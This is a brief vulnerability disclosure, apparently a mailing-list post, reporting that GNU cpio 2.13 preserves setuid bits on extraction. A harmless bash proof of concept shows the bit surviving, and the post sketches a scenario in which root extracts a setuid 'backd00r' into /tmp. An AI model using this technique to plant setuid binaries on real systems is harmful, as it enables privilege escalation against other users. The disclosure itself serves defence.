cpio privilege escalation vulnerability via setuid files in cpio archive Happy New Year, let in 2024 happiness be with you! :) When extracting archives cpio (at least version 2.13) preserves the setuid flag, which might lead to privilege escalation. One example is r00t extracts to /tmp/ and scidiot runs /tmp/micq/backd00r without further interaction from root. We believe this is vulnerability, since directory traversal in cpio is considered vulnerability. The POC is trivial, including bash script. <pre> ==== #!/bin/bash # cpio privilege escalation via setuid files in cpio archive # author: Georgi Guninski # date: Mon Jan 8 07:28:28 AM UTC 2024 # tested on cpio (GNU cpio) 2.13 mkdir -p /tmp/1 cd /tmp/1 touch a chmod 4555 a echo -n a | cpio -ocv0 > a.cpio mkdir -p /tmp/2 cd /tmp/2 cpio -iv < ../1/a.cpio ls -lh /tmp/2/a #-r-sr-xr-x. 1 joro joro 0 Jan 8 09:10 /tmp/2/a ==== </pre>